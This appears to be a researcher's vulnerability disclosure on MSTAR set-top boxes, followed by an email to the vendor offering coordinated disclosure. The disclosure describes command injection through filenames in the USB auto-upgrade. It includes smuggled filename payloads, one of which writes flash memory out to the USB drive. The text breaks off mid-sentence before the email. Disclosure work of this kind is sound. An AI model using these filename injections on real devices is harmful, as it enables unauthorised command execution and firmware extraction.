While I was working on diagnostic device for some of my clients I found
command injections in MSTAR Set-Top box products. Diagnostic device is
not specialy target this vendor but we used it in development phase and
for testing.
Vulnerable functionality is in automatic USB upgrade process. It is
possible to inject additional commands via malicious files names.

For example, to upgrade your Set-Top box, you just need to put firmware
file on USB drive with filename "auto_upgrade.bin" and after you insert
it and restart device, it will be automaticaly upgraded. This
fuctionality can be also exploited by inserting additional commands in
filename.
One of the first that I try is "auto_upgrade.bin;help" and we can check
that command injection works from serial console output:

Serial console doesn't accept any input because "bootdelay=0", but with
command injection in USB upgrade process we can find a way to configure

Hello,

I'm working on some diagnostic device and during the testing I found
command injection in some of yours products.
It is possible to inject additional commands via malicious files names,
for example:

"auto_upgrade.bin;fatwrite usb 0 0xBFC00000 backup.bin 0x400000;"

I will publish this findings in my research paper about device that I'm
working on.
Please contact me if you want to make coordinated disclosure or if you
need more details.

Best regards,
Ivan Markovic
